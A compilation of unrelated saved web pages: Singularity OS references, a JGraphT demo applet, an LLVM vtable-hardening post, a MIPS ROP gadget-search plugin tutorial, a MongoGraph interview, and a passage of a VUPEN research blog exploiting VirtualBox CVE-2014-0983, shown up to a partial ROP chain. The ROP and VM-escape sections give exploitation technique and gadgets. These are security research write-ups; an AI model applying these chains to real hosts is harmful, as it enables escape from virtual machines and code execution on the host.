  * Manuel Fähndrich, Mark Aiken, Chris Hawblitzel, Orion Hodson, Galen Hunt, James R. Larus, and Steven Levi, Language Support for Fast and Reliable Message-based Communication in Singularity OS, in _Proceedings of the EuroSys 2006 Conference_ , Association for Computing Machinery, Inc., April 2006
  * Galen Hunt, James R. Larus, Martin Abadi, Mark Aiken, Paul Barham, Manuel Fahndrich, Chris Hawblitzel, Orion Hodson, Steven Levi, Nick Murphy, Bjarne Steensgaard, David Tarditi, Ted Wobber, and Brian D. Zill, An Overview of the Singularity Project, no. MSR-TR-2005-135, October 2005
  * Martín Abadi, Andrew Birrell, and Ted Wobber, Access Control in a World of Software Diversity, in _Proceedings of the Tenth Workshop on Hot Topics in Operating Systems_ , USENIX, Santa Fe, NM, June 2005
  * John DeTreville, Making system configuration more declarative, in _Proceedings of the Tenth Workshop on Hot Topics in Operating Systems_ , USENIX, Santa Fe, NM, June 2005
  * Galen C. Hunt, James R. Larus, David Tarditi, and Ted Wobber, Broad New OS Research: Challenges and Opportunities, in _Proceedings of Tenth Workshop on Hot Topics in Operating Systems \(HotOs\)_ , USENIX, June 2005
  * Galen C. Hunt and James R. Larus, Singularity Design Motivation, no. MSR-TR-2004-105, November 2004

# Presentations

  * Using the Singularity Research Development Kit \(RDK\), Tutorial, 13th International Conference on Architectural Support for Programming Languages and Operating Systems \(ASPLOS 2008\) Slides, Seattle, WA, March 1, 2008. 
  * Singularity: A research OS written in C\#, Channel 9 video and blog, Redmond, WA, August 23, 2005. 
  * Singularity Revisited, Channel 9 video and blog, Redmond, WA, December 13, 2005. 
  * Singularity III: Revenge of the SIP, Channel 9 video and blog, Redmond, WA, September 1, 2006. 
  * Singularity IV: Return of the UI, Channel 9 video and blog, Redmond, WA, September 1, 2006. 

# Project Members

**Leads**

> Galen Hunt  
> Jim Larus
**Members**

> Mark Aiken  
> Paul Barham  
> Richard Black  
> Trishul Chilimbi  
> Chris Hawblitzel  
> John DeTreville  
> Ulfar Erlingsson  
> Manuel Fähndrich  
> Wolfgang Grieskamp  
> Tim Harris  
> Orion Hodson  
> Rebecca Isaacs  
> Mike Jones  
> Steven Levi  
> Roy Levin  
> Nick Murphy  
> Dushyanth Narayanan  
> Sriram Rajamani  
> Jakob Rehof  
> Wolfram Schulte  
> Dan Simon  
> Bjarne Steensgaard  
> David Tarditi  
> Ted Wobber  
> Brian Zill  
> Ben Zorn
# Interns

  * **2007**  
Ryan Braud \(University of Califorina, San Diego  
Michael Carbin \(MIT\)  
Michael Emmi \(UCLA\)  
Gabriel Kliot \(Technion - Israel Institute of Technology\)  
Ross McIlroy \(University of Glasgow\)  
Filip Pizlo \(Purdue University\)  
Polyvios Pratikakis \(Univ. of Maryland\)

  * **2006**  
Marc Eaddy \(Columbia University\)  
Haryadi S. Gunawi \(Univ. of Wisconsin - Madison\)  
Hiroo Ishikawa \(Waseda University\)  
Virendra J. Marathe \(Rochester\)  
Polyvios Pratikakis \(University of Maryland\)  
Roussi Roussev \(Florida Tech\)  
César Spessot \(Universidad Tecnológica Nacional Facultad Córdoba\)

  * **2005**  
Michael Carbin \(Stanford\)  
Adam Chlipala \(UC Berkeley\)  
Martin Pohlack \(TU Dresden\)  
Avi Shinnar \(Harvard\)  
Mike Spear \(Rochester\)  
Aydan Yumerefendi \(Duke\)

  * **2004**  
Jeremy Condit \(UC Berkeley\)  
Daniel Frampton \(Australian National University\)  
Chip Killian \(UC San Diego\)  
Fernando Castor de Lima Filho \(Universidade Estadual de Campinas\)  
Prince Mahajan \(IIT Roorkee\)  
Bill McCloskey \(UC Berkeley\)  
Martin Murray  
Tom Roeder \(Cornell\)  
Avi Shinnar \(Columbia\)  
Yaron Weinsberg \(Hebrew University of Jerusalem\)

  * If you are an exceptional Ph.D. student interested in a research internship, please apply using MSR Internship Application

# JGraphT visualization using JGraph

**Created:**| _11/27/2011 11:07:20 PM_  
---|---  
**Updated:**| _11/27/2011 11:07:20 PM_  
**Author:**| __  
**Tags:**| _Graphs Java programming_  
  

  

## Demo Applet

The following applet shows how a JGraphT graph can be visualized using JGraph.
Try to play and drag around the vertices and edges to get the feel of it.

Note: Java 1.3 or above must be installed for this applet to work correctly.

  
Java 2 Standard Edition v 1.3 or above is required for this applet.  
Download it from http://java.sun.com.  
---  
a JGraphT graph visualized using JGraph.

## How it Works

It's very simple: the JGraphT library comes with an adapter that makes JGraphT
graphs compatible with JGraph. To visualize a JGraphT graph you just need to
initialize JGraph via that adapter.

Example code:

[code]

    _// create a JGraphT graph_
         ListenableGraph g = **new** ListenableDirectedGraph( DefaultEdge.class );
    
         _// create a visualization using JGraph, via the adapter_
          JGraph jgraph = **new** JGraph( **new** JGraphModelAdapter( g ) );
    
[/code]

Is that all?\! Yes, that's all. Any modification now made to the graph `g`
will automatically be reflected by the JGraph component.

## Source Code of the Applet

The full source code of this demo is listed below and is also included in the
JGraphT distribution \(download now\).  

[code]

    **package** org.jgrapht.demo;
    
    **import** java.awt.Color;
    **import** java.awt.Dimension;
    **import** java.awt.Rectangle;
    
    **import** java.util.HashMap;
    **import** java.util.Map;
    
    **import** javax.swing.JApplet;
    **import** javax.swing.JFrame;
    
    **import** org.jgraph.JGraph;
    **import** org.jgraph.graph.DefaultGraphCell;
    **import** org.jgraph.graph.GraphConstants;
    
    **import** org.jgrapht.ListenableGraph;
    **import** org.jgrapht.ext.JGraphModelAdapter;
    **import** org.jgrapht.graph.ListenableDirectedGraph;
    **import** org.jgrapht.graph.DefaultEdge;
    
    _/**
     * A demo applet that shows how to use JGraph to visualize JGraphT graphs.
     *
     * @author Barak Naveh
     *
     * @since Aug 3, 2003
     */_
    **public** **class** JGraphAdapterDemo **extends** JApplet {
        **private** **static** **final** Color     DEFAULT_BG_COLOR = Color.decode( **" #FAFBFF"** );
        **private** **static** **final** Dimension DEFAULT_SIZE = **new** Dimension( 530, 320 );
    
        _//_    **private** JGraphModelAdapter m_jgAdapter;
    
        _/**
         * @see java.applet.Applet#init().
         */_
        **public** **void** init(  ) {
            _// create a JGraphT graph_        ListenableGraph g = **new** ListenableDirectedGraph( DefaultEdge.class );
    
            _// create a visualization using JGraph, via an adapter_        m_jgAdapter = **new** JGraphModelAdapter( g );
    
            JGraph jgraph = **new** JGraph( m_jgAdapter );
    
            adjustDisplaySettings( jgraph );
            getContentPane(  ).add( jgraph );
            resize( DEFAULT_SIZE );
    
            _// add some sample data (graph manipulated via JGraphT)_        g.addVertex( **" v1"** );
            g.addVertex( **" v2"** );
            g.addVertex( **" v3"** );
            g.addVertex( **" v4"** );
    
            g.addEdge( **" v1"**, **" v2"** );
            g.addEdge( **" v2"**, **" v3"** );
            g.addEdge( **" v3"**, **" v1"** );
            g.addEdge( **" v4"**, **" v3"** );
    
            _// position vertices nicely within JGraph component_        positionVertexAt( **" v1"**, 130, 40 );
            positionVertexAt( **" v2"**, 60, 200 );
            positionVertexAt( **" v3"**, 310, 230 );
            positionVertexAt( **" v4"**, 380, 70 );
    
            _// that's all there is to it!..._    }
    
    
        **private** **void** adjustDisplaySettings( JGraph jg ) {
            jg.setPreferredSize( DEFAULT_SIZE );
    
            Color  c        = DEFAULT_BG_COLOR;
            String colorStr = **null** ;
    
            **try** {
                colorStr = getParameter( **" bgcolor"** );
            }
             **catch**( Exception e ) {}
    
            **if**( colorStr != **null** ) {
                c = Color.decode( colorStr );
            }
    
            jg.setBackground( c );
        }
    
    
        **private** **void** positionVertexAt( Object vertex, **int** x, **int** y ) {
            DefaultGraphCell cell = m_jgAdapter.getVertexCell( vertex );
            Map              attr = cell.getAttributes(  );
            Rectangle        b    = GraphConstants.getBounds( attr );
    
            GraphConstants.setBounds( attr, **new** Rectangle( x, y, b.width, b.height ) );
    
            Map cellAttr = **new** HashMap(  );
            cellAttr.put( cell, attr );
            m_jgAdapter.edit( cellAttr );
        }
    }
[/code]  
---

# Fermín J. Serna - Zhodiac - Vast and Infinite Net Dreams...

**Created:**| _3/12/2013 10:38:49 AM_  
---|---  
**Updated:**| _3/12/2013 10:38:49 AM_  
**Author:**| __  
**Tags:**| _compiler-building mitigations_  
  

Long time no posts...  
  
In this one I want to introduce something I developed for LLVM some months
ago: VTXor. Digging on a compiler is always fun, challenging but time
consuming.  
  
I could never finish it since still requires a lot of code digging at LLVM. I
guess I did the most challenging part \(understanding and modifying the code
emission\) but I left all the other boring ones \(annotations, command line
options, ...\). So here it is in case anyone wants to finish the boring part
and make the internet a safer place. Ha\!  
  
**VTxor** is a security mitigation \(not perfect as I will explain later\)
making harder to exploit vulnerabilities that take advantage of attacker
controlled virtual function table pointers.  
  
It is cool because:  
\- It supports 32 bit and 64 bit architectures  
\- It should support \(although not tested\) anything LLVM is able to generate
code for... so ARM and other friends too.  
\- Supports -fPIC an non -fPIC compilations  
\- Makes exploitation more challenging and that is always fun  
  
Some limitations I am aware of:  
\- In 32 bits compilations it is not effective due to heap spraying. Long
story... I will let the reader figure it out :\) But still... 64 bit with
proper dispersion of virtual pages should make exploitation harder  
\- You need to compile the entire program and libraries with this in order to
prevent virtual function calls using the encoded pointer.  
  
Disassembly is better than words. So here it is how VTXor works.  
  
The following code is generated when an object gets allocated and the virtual
function table pointer is set. Please note because of -fPIC it will be tough
to see wehre the VTxor cookie comes from.  
  
\(gdb\) disass \_ZN4baseC2Ev  
Dump of assembler code for function \_ZN4baseC2Ev:  
0x08048a60 <+0>: push eax  
0x08048a61 <+1>: call 0x8048a66 <\_ZN4baseC2Ev+6>  
0x08048a66 <+6>: pop eax  
0x08048a67 <+7>: add eax,0x158e  
0x08048a6d <+13>: mov ecx,DWORD PTR \[esp+0x8\]  
0x08048a71 <+17>: mov edx,DWORD PTR \[eax-0xc\]  
0x08048a77 <+23>: add edx,0x8  
0x08048a7d <+29>: mov eax,DWORD PTR \[eax-0x4\]  
0x08048a83 <+35>: mov DWORD PTR \[esp\],ecx  
0x08048a86 <+38>: mov ecx,DWORD PTR \[esp\]  
0x08048a89 <+41>: **xor edx,DWORD PTR \[eax\]** <\---- xor the vftable\_ptr
with a random vtxor cookie  
0x08048a8b <+43>: **mov DWORD PTR \[ecx\],edx** <\---- store it at the first
dword of the object chunk  
0x08048a8d <+45>: pop eax  
0x08048a8e <+46>: ret  
End of assembler dump.  
\(gdb\)  
  
And when calling into a virtual function something like this happens:  
  
0x0804893b <+299>: mov esi,DWORD PTR \[edx\]  
0x0804893d <+301>: **mov edi,DWORD PTR \[ecx\]** <\--- get the encoded
vftable\_ptr  
0x0804893f <+303>: **xor esi,edi** <\---- xor the vftable\_ptr with the VTXor
cookie  
0x08048941 <+305>: mov DWORD PTR \[esp\],edx  
0x08048944 <+308>: mov ebx,eax  
0x08048946 <+310>: mov DWORD PTR \[ebp-0x44\],ecx  
0x08048949 <+313>: call DWORD PTR \[esi\]  
  
The VTXor cookie comes from **libvtxor**. Concretely this function:  
  
intptr\_t \_\_vtxor\_cookie;  
  
void \_\_attribute\_\_ \(\(constructor\)\) \_\_vtxor\_cookie\_setup\(void\) \{  
  
// Default value... if the read fails...  
memset\(&\_\_vtxor\_cookie,0x41,sizeof\(\_\_vtxor\_cookie\)\);  
  
int fd=open\("/dev/urandom",O\_RDONLY\);  
if \(fd>=0\) \{  
read\(fd,&\_\_vtxor\_cookie,sizeof\(\_\_vtxor\_cookie\)\);  
close\(fd\);  
\}  
  
\}  
  
LLVM ptatch, libvtxor code and test examples can be found here: /my-
stuff/security/vtxor  
  
Feel free to hack it and potentially try to include it in llvm trunk :\)  
  
Fermin J. Serna - @fjserna

# MIPS ROP IDA Plugin - /dev/ttyS0

**Created:**| _11/6/2013 10:03:49 AM_  
---|---  
**Updated:**| _11/6/2013 10:03:49 AM_  
**Author:**| __  
**Tags:**| _iDA rop_  
  

# **M** IPS ROP IDA Plugin****

I’ve previously written some examples  of how to exploit MIPS stack overflows
using ROP  techniques**.** The problem is that finding suitable MIPS ROP
gadgets manually can be quite tedious, so I have added a new IDA plugin –
mipsrop**.** py  – to my github repository.

This plugin searches the code segment\(s\) of your IDB looking for potentially
controllable jump instructions**.** You can then search the code surrounding
these controllable jumps for useful instructions that you might need in your
ROP chain**.**

“Controllable jumps” are defined as jumps whose destination addresses are
loaded from the stack, or from other registers \(typically during a stack
overflow you control several, if not all, of the MIPS subroutine registers,
for example\)**.**

The plugin’s searches are “dumb” in that they don’t follow code branches, but
none-the-less it has proven to be quite effective**.** As a quick example,
let’s look inside a Linux MIPS libc library for ROP gadgets that will let us
call sleep\(1\) in order to force a cache flush**.**

First, we need to set up the argument to sleep; in MIPS, this means that we
need to load the value 1 into register $a0**.** A typical ROP gadget for
accomplishing this might look like:

| `li $a0, 1 ``// Set $a0 = 1``move $t9, $s0 ``// Set $t9 = $s0; we control
$s0 via a stack overflow, and can load it with the address of our next ROP
gadget``jalr $t9 ``// Jump to the address in $t9``nop`  
---|---  
This allows us to get the value 1 into the $a0 register and then jump to the
next ROP gadget**.** After activating the mipsrop.py plugin \(Alt+1 hotkey\),
we can easily search our controllable jumps for the “li $a0, 1″ instruction
using the mipsrop.find method:

<img src='img/Temp2_5005.png' alt='Searching for gadgets that contain the ' />

Searching for gadgets that contain the “li $a0, 1″ instruction

We can see that the first gadget, at offset 0x28BE4, works quite nicely:

<img src='img/Temp2_5008.png' width='512' height='57' alt='A typical ' />

A typical “li $a0, 1″ gadget

With the argument to sleep now set up, our second ROP gadget needs to actually
call sleep; but, it also needs to force sleep to return to a location of our
choosing \(e**.** g., sleep needs to return to a third ROP gadget\). Indirect
function returns are ideally suited for this type of operation and generally
look something like this:

| `move $t9, $s2 ``// Set $t9 = $s2; we control $s2 via a stack overflow, and
can load it with the address of sleep()``lw $ra, 0x20($sp) ``// Load the
return address off the stack into $ra; since we control data on the stack, we
can get the address of the next ROP gadget loaded into $ra``jr $t9 ``// Jump
to $t9``addiu $sp, 0x24`  
---|---  
Because we control both $s2 and the data on the stack, we can control where
this code jumps to and what the return address is**.** If we load the address
of sleep into $s2 during our initial stack overflow, and place the address of
our third ROP gadget at $sp+0×20, this gadget will jump to the sleep function,
which, upon completion, will return to our third ROP gadget \(whatever that
may be\)**.**

To find an indirect return gadget in our library, we’ll want to search for
controllable jumps that move a subroutine register into $t9, then perform a jr
instruction:

<img src='img/Temp2_5006.png' alt='Searching for indirect return gadgets' />

Searching for indirect return gadgets

The gadget at offset 0x2FFD4 loads the return address off the stack and jumps
to whatever address is stored in $s2:

<img src='img/Temp2_5007.png' alt='A typical indirect return gadget' />

A typical indirect return gadget

Combining this with the first gadget at offset 0x28BE4 gives us a two gadget
ROP chain which will call sleep\(1\), then continue execution from whatever
arbitrary address that we place on the stack at $sp+0×24:

| `loc_28BE4:``li $a0, 1 ``// Set $a0 = 1; this is where we return to after
our stack overflow``move $t9, $s0 ``// Set $t9 = $s0; we control $s0 via the
initial stack overflow, and can load it with the address of our next ROP
gadget at 0x2FFD4``jalr $t9 ``// Jump to the address in $t9 ($t9 == $s0 ==
0x2FFD4)``li $a2, 1``..**.**``loc_2FFD4:``move $t9, $s2 ``// Set $t9 = $s2; we
control $s2 via the initial stack overflow, and can load it with the address
of sleep()``lw $ra, 0x24($sp) ``// Load sleep's return address off the stack
into $ra; we control the stack, and can put an arbitrary address here``lw $s2,
0x20($sp)``lw $s1, 0x1C($sp)``lw $s0, 0x18($sp)``jr $t9 ``// Jump to $t9 ($t9
== $s2 == sleep)``addiu $sp, 0x28`  
---|---  
And that’s pretty much how ROP works in MIPS: find some controllable jalr’s /
jr’s that you can chain together to perform a required sequence of
instructions while maintaining control of execution**.**

A few other mipsrop methods you might want to play with are:

  * mipsrop.help\(\) – Shows help/usage of mipsrop methods
  * mipsrop.system\(\) – Lists all existing calls to system\(\) which point the command string at the stack
  * mipsrop.summary\(\) – Prints a summary of all marked positions in the IDB that start with the string “ROP”

There are also some more examples/screenshots in the repository’s README
file**.** Happy ROPing\!

****

# InfoQ: MongoGraph Brings Semantic Web Features to MongoDB Developers

**Created:**| _12/6/2011 9:58:54 AM_  
---|---  
**Updated:**| _12/6/2011 9:58:54 AM_  
**Author:**| __  
**Tags:**| _semantic mongoDB_  
  

# MongoGraph Brings Semantic Web Features to MongoDB Developers

Posted by **Srini Penchikala ** on Dec 03, 2011

Sections

Topics

     NoSQL , 
     Architecture , 
     Data Access
Tags

     MongoDB , 
     Graph Database
Share

|

<img src='img/Temp2_4427.png' />

MongoGraph from AllegroGraph team brings semantic web features to MongoDB
developers. They implemented a MongoDB interface to AllegroGraph database to
give Javascript programmers both joins and the semantic web capabilities.
Using this approach JSON objects are automatically translated into triples and
both the MongoDB query language and SPARQL work against these objects. Another
goal of MongoGraph is to make the freetext engine of their graph database easy
to search as Solr/Lucene.

AllegoGraph CEO Jans Aasman gave a presentation and talked about working on
the level of objects instead of individual triples. InfoQ spoke with Jans
about this new approach and how it helps the NoSQL developers.

**Infoq: What are the advantages of representing JSON objects as RDF triples
in a graph database?**

**Jans:** Well, the most direct answer is that you can use JSON to model
complex schemas and then perform complicated joins over your data without
writing map-reduce queries. One can approach the JSON objects stored in
MongoGraph both as JSON objects \(using the MongoDB query language\) or as
more fine grained RDF triples that allow for complex models and complex joins
\(using the SPARQL query language\). Also you can use all the other advanced
features of an RDF Database \(aka – TripleStore\). One can apply the query
language SPARQL or apply rules using mechanisms like SWRL, RIF, or Prolog.

You can also now link the data structures in your application that you
represent as JSON seamlessly with RDF triples in the Linked Open Data Cloud.

**InfoQ: How do you access the data stored in a MongoGraph type of database?**

**Jans:** A MongoGraph query like the example below will return all books for
'Jans' 'Aasman' as JSON objects.

[code]

    db.authors.find({firstName: 'Jans', lastName: 'Aasman'})
    
[/code]

But, assuming that we have a collection of authors, books, publishers and
stores, one could also write a join heavy SPARQL query like:

[code]

    select * where {
    ?x fr:firstName Jans; fr:lastName Aasman ; fr:authorOf ?book .
    ?book hasPublisher ?publisher .
    ?store fr:outletFor ?publisher; fr:located 'San Francisco' .
    }
    
[/code]

**InfoQ: What are the limitations of using a solution like this?**

**Jans:** Currently we implement 90% of the MongoDB API. However, we do not
emulate the clustering mechanisms of MongoDB. For this capability we rely on
the clustering mechanisms built in to AllegroGraph.

**InfoQ: What are the emerging trends in combining the NoSQL data stores?**

**Jans:** From the perspective of a Semantic Web - Graph database vendor what
we see is that nearly all graph databases now perform their text indexing with
Lucene based indexing \(Solr or Elastic Search\) and I wouldn't be surprised
that most vendors soon will allow JSON objects as first class objects for
graph databases. It was surprisingly straightforward to mix the JSON and
triple/graph paradigm. We are also experimenting with key-value stores to see
how that mixes with the triple/graph paradigm.

**InfoQ: What best practices and architecture patterns should the developers
and architects consider when using a solution like this one in their software
applications?**

**Jans:** If your application requires simple straight joins and your schema
hardly changes then any RDBM will do.

If your application is mostly document based, where a document can be looked
at as a pre-joined nested tree \(think a Facebook page, think a nested JSON
object\) and where you don't want to be limited by an RDB schema then key-
value stores and document stores like MongoDB are a good alternative.

If you want what is described in the previous paragraph but you have to
perform complex joins or apply graph algorithms then the MongoGraph approach
might be a viable solution.

# Static analysis of memory manipulations by abstract interpretation \[PhD
Thesis; PDF\]

**Created:**| _10/15/2010 1:06:59 PM_  
---|---  
**Updated:**| _10/15/2010 1:11:14 PM_  
**Author:**| __  
**Tags:**| _Practical Software Verification papers statistics_  
  
<img src='img/Temp2_7713' />

# VUPEN Vulnerability Research Blog - Advanced Exploitation of VirtualBox 3D
Acceleration VM Escape Vulnerability / Exploit \(CVE-2014-0983\)

**Created:**| _7/29/2014 9:29:16 AM_  
---|---  
**Updated:**| _7/29/2014 9:29:16 AM_  
**Author:**| __  
**Tags:**| _Exploit virtusalisation Desktop_  
  

# Advanced Exploitation of VirtualBox 3D Acceleration VM Escape Vulnerability

** Advanced Exploitation of VirtualBox 3D Acceleration VM Escape Vulnerability
\(CVE-2014-0983\)  
**

_Published on 2014-07-25 18:21:38 UTC by Florian Ledoux, Security Researcher @
VUPEN_|  
---|---  
Hi everyone,  
  
In a previous  _blog_, we have shared our exploitation technique for a
critical guest-to-host escape vulnerability affecting the Xen hypervisor. In
this new blog post we will focus on another VM escape vulnerability, this time
affecting VirtualBox.  
  
A few months ago, our friends from Core Security have released an  _advisory_
for multiple memory corruption vulnerabilities affecting VirtualBox and
potentially allowing a user/program within a Guest OS to escape the virtual
machine and execute arbitrary code on the Host OS.  
  
A few weeks ago, during REcon 2014, Francisco Falcon has  _demonstrated_ that
it was possible to combine these vulnerabilities and exploit them to achieve a
guest-to-host escape on a 32bit Windows host.  
  
In this blog, we share our exploitation technique to achieve a reliable VM
escape on a 64bit Windows 8 host using just one vulnerability
\(CVE-2014-0983\), and without crashing the VirtualBox process \(aka process
continuation\).  
  
**__1\. Technical Analysis of the Vulnerability__**  
  
Multiple memory corruption vulnerabilities exists in VirtualBox 3D
acceleration for OpenGL graphics. In this analysis we will focus on
CVE-2014-0983.  
  
From the guest OS point of view, guest additions run multiples services like
drag and drop, shared clipboard, graphic rendering, etc. One of these services
is called "_SharedOpenGL_ ". It provides remote rendering of OpenGL graphics
through a client/server model when 3D Acceleration is enabled in VirtualBox
\(disabled by default\). The guest OS acts as a client and sends render
messages to the "_VBoxGuest.sys_ " driver. This driver then forwards messages
by PMIO/MMIO to the host \(acting as a server\) which parses them. More
details about VirtualBox and 3D are available  here.  
  
There are many render messages one of which is "_CR\_MESSAGE\_OPCODES_ ". Its
structure is composed of opcodes \(command IDs\) followed by data. The
"_crUnpack\(\)_ " function handles all opcodes at server side \(host OS\):

static void  
crServerDispatchMessage\(CRConnection \*conn, CRMessage \*msg\) \{  
const CRMessageOpcodes \*msg\_opcodes;  
  
CRASSERT\(msg->header.type == CR\_MESSAGE\_OPCODES\);  
  
msg\_opcodes = \(const CRMessageOpcodes \*\)msg;  
data\_ptr = \(const char \*\) msg\_opcodes + sizeof\(CRMessageOpcodes\) \+
opcodeBytes;  
crUnpack\(data\_ptr, /\* first command operands \*/  
data\_ptr - 1, /\* first command opcode \*/  
msg\_opcodes->numOpcodes, /\* how many opcodes \*/  
&\(cr\_server.dispatch\)\); /\* the CR dispatch table \*/  
---  
Content of the "_crUnpack\(\)_ " function is automatically generated during
installation of VirtualBox by a python script located at
"_src/VBox/HostServices/SharedOpenGL/unpacker/unpack.py_ ". This function acts
as a switch to different functions according to the opcode being processed.  
  
By sending a message containing opcode "_CR\_VERTEXATTRIB4NUBARB\_OPCODE_ "
\(0xEA\), "_crUnpack\(\)_ " calls "_crUnpackVertexAttrib4NubARB\(\)_ ". This
function parses the render message received from the guest OS without any
validation or check:

static void crUnpackVertexAttrib4NubARB\(void\)  
\{  
GLuint index = READ\_DATA\( 0, GLuint \);  
GLubyte x = READ\_DATA\( 4, GLubyte \);  
GLubyte y = READ\_DATA\( 5, GLubyte \);  
GLubyte z = READ\_DATA\( 6, GLubyte \);  
GLubyte w = READ\_DATA\( 7, GLubyte \);  
cr\_unpackDispatch.VertexAttrib4NubARB\( index, x, y, z, w \);  
INCR\_DATA\_PTR\( 8 \);  
\}  
  
void SERVER\_DISPATCH\_APIENTRY crServerDispatchVertexAttrib4NubARB\(GLuint
index, GLubyte x, GLubyte y, GLubyte z, GLubyte w \) \{  
cr\_server.head\_spu->dispatch\_table.VertexAttrib4NubARB\(index, x, y, z, w
\);  
cr\_server.current.c.vertexAttrib.ub4\[index\] = cr\_unpackData;  
\}  
---  
Due to the lack of validation of the array index, memory located after the
"_cr\_server.current.c.vertexAttrib.ub4_ " array can be corrupted by
"_cr\_unpackData_ ".

.text:000007FA24376440 crServerDispatchVertexAttrib4NubARB proc near  
.text:000007FA24376440  
.text:000007FA24376440 var\_18 = byte ptr -18h  
.text:000007FA24376440 arg\_20 = byte ptr 28h  
.text:000007FA24376440  
.text:000007FA24376440 push rbx  
.text:000007FA24376442 sub rsp, 30h  
.text:000007FA24376446 movzx eax, \[rsp+38h+arg\_20\]  
.text:000007FA2437644B mov ebx, ecx ; index  
.text:000007FA2437644D mov \[rsp+38h+var\_18\], al  
.text:000007FA24376451 mov rax, cs:head\_spu  
//**dispatch\_table.VertexAttrib4NubARB**  
.text:000007FA24376458 call qword ptr \[rax+1498h\]  
// **pointer to controlled opcode data**  
.text:000007FA2437645E mov rax, cs:cr\_unpackData  
.text:000007FA24376465 lea rcx, cr\_server\_current\_c\_vertexAttrib\_ub4  
.text:000007FA2437646C mov \[rcx+rbx\*8\], rax ; crash  
.text:000007FA24376470 add rsp, 30h  
.text:000007FA24376474 pop rbx  
.text:000007FA24376475 retn  
.text:000007FA24376475 crServerDispatchVertexAttrib4NubARB endp  
---  
Which could be exploited by a malicious user or program on a VM guest OS to
execute arbitrary code on the host OS.  
  
  
__**2\. Exploitation on Windows 8 \(64bit\) Host  
  
** __ To exploit this vulnerability from a guest VM, we need to write and use
a malicious program to send the malformed message to the host through
available guest addition drivers.  
  
The vulnerable function "_crUnpackVertexAttrib4NubARB_ " is located in
"_VBoxSharedCrOpenGL.dll_ " while the array is located in the _.data_ section:

.data:000007FA2444B518 cr\_server\_current\_c\_vertexAttrib\_ub4 db ?  
---  
Thus, memory following the "_cr\_server.current.c.vertexAttrib.ub4_ " array
address can be corrupted with "_cr\_unpackData_ ". "_cr\_unpackData_ " is a
pointer to the render message sent from guest OS.  
  
Memory of "_VBoxSharedCrOpenGL.dll_ " in the host OS can then be corrupted
relatively to the "_cr\_server.current.c.vertexAttrib.ub4_ " array. With this
_write4_ primitive we can e.g. corrupt a function pointer located in the
_.data_ section. By looking at the vulnerable function, we can see:

cr\_server.head\_spu->dispatch\_table.VertexAttrib4NubARB\(...\);  
---  
Which can be translated into assembly: .text:000007FA24376451 mov rax,
cs:head\_spu  
// **dispatch\_table.VertexAttrib4NubARB**  
.text:000007FA24376458 call qword ptr \[rax+1498h\]  
---  
Where "_cr\_server.head\_spu_ " lands in the _.data_ section:

.data:000007FA2444CA60 head\_spu dq  
---  
This is the address to be corrupted. "_cr\_server.head\_spu_ " is located
right after the array, so a positive index is needed for our corruption:

.text:000007FA2437646C mov \[rcx+rbx\*8\], rax // **corruption**  
...  
.data:000007FA2444B518 cr\_server\_current\_c\_vertexAttrib\_ub4 db //
**array**  
.data:000007FA2444CA60 cr\_server\_head\_spu dq // **target**  
---  
Index can be calculated as follows:

0x7FA2444CA60 0x7FA2444B518 = 0x1548  
0x1548 / 8 = 0x2A9  
---  
After corrupting "_cr\_server.head\_spu_ ", the host OS has already finished
the parsing of our rendering message and there is no code redirection. But
when the same message containing opcode "_CR\_VERTEXATTRIB4NUBARB\_OPCODE_ "
\(0xEA\) is sent again "_cr\_server.head\_spu_ " is used again in:

.text:000007FA24371E30 push rbx  
.text:000007FA24371E32 sub rsp, 20h  
.text:000007FA24371E36 mov ebx, ecx  
.text:000007FA24371E38 call crStateBegin  
.text:000007FA24371E3D mov rax, cs:head\_spu  
.text:000007FA24371E44 mov ecx, ebx  
.text:000007FA24371E46 add rsp, 20h  
.text:000007FA24371E4A pop rbx  
.text:000007FA24371E4B jmp qword ptr \[rax+0B0h\]  
---  
Since "_cr\_server.head\_spu_ " has been corrupted by "_cr\_unpackData_ "
\(referring to our controlled data\), the jump instruction relative to
_rax+0xB0_ will redirect the execution flow.  
  
Next step is to pivot the stack. By default, VirtualBox has ASLR/DEP enabled
for all components except for "_VBoxREM.dll_ " which does not opt-in for ASLR,
thus we can take advantage of it during our exploitation \(of course it is
also possible to exploit another vulnerability to achieve a leak memory\).  
  
Here is the state of all registers when we redirect the execution flow:

rax=000000004b09f2b4 rbx=000000004b09f2b0 rcx=0000000000000331  
rdx=0000000000000073 rsi=0000000000000001 rdi=000007fa2444ca68  
rip=000007fa24371e4b rsp=00000000055afb78 rbp=000000004b09f2a6  
r8=7efefefefefefeff r9=7efefefefefeff72 r10=0000000000000000  
r11=8101010101010100 r12=0000000000000004 r13=000007fa24360000  
r14=000007fa1d7b0000 r15=000000004aa16a50  
iopl=0 nv up ei pl nz na pe nc  
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202  
VBoxSharedCrOpenGL\!crServerVBoxCompositionSetEnableStateGlobal+0x677b:  
**000007fa' 24371e4b 48ffa0b0000000 jmp qword ptr \[rax+0B0h\]**  
---  
Registers _RAX_ , _RBX_ point to the render message:

0:015> dd rax  
00000000' 4b09f2b4 000002a9 42424242 42424242 42424242  
0:015> dd rbx  
00000000' 4b09f2b0 00000331 000002a9 42424242 42424242  
0:015> dd rbp  
00000000' 4b09f2a6 0008f702 00300000 03310000 02a90000  
00000000' 4b09f2b6 42420000 42424242 42424242 42424242  
---  
They contain the rendering opcode, followed by our fully controlled data.  
  
To summarize, our stack pivot cannot simply finish with instruction _RET, JMP
\[register\], CALL \[register\]_. x64 compilers can optimize the last call
made from a function by replacing it with a jump to the callee. This helps us
to find a suitable pivot such as this one:

**; Gadget 1: 6a689670**  
mov rax,qword ptr \[rdx+rax\] ds:00000000' 4b09f327=000000006a6810db  
add rsp,28h  
mov rdx,rbx  
pop rbx  
leave  
jmp rax  
---  
_RDX_ register is always set to 0x73. Hence, the first instruction will move
controlled data to _RAX_.  
  
_LEAVE_ instruction will set _RSP_ to _RBP_ value \(which points to our
message as well\). Then we jump to _RAX_ register \(our next gadget\).  
  
Now that _RSP_ is controlled, a x64 ROP can be used to call
"_VirtualProtect\(\)_ " and achieve code execution. Without diving in each
gadget details, the first one will lift the stack \(_POP RSI, RDI, RBP,
R12_\). Then the following gadgets will be used:

**; Gadget 2: control RDX value**  
pop rdx  
xor ecx,dword ptr \[rax\]  
add cl,cl  
movzx eax,al  
ret  
  
**; Gadget 3: set RAX to RSP value**  
lea rax,\[rsp+8\]  
ret  
  
**; Gadget 4: set RAX to RSP + RDX \(offset\)**  
lea rax,\[rdx+rax\]  
ret  
  
**; Gadget 5: Write stack address \(EAX\) on the stack \(with index RDX\)**  
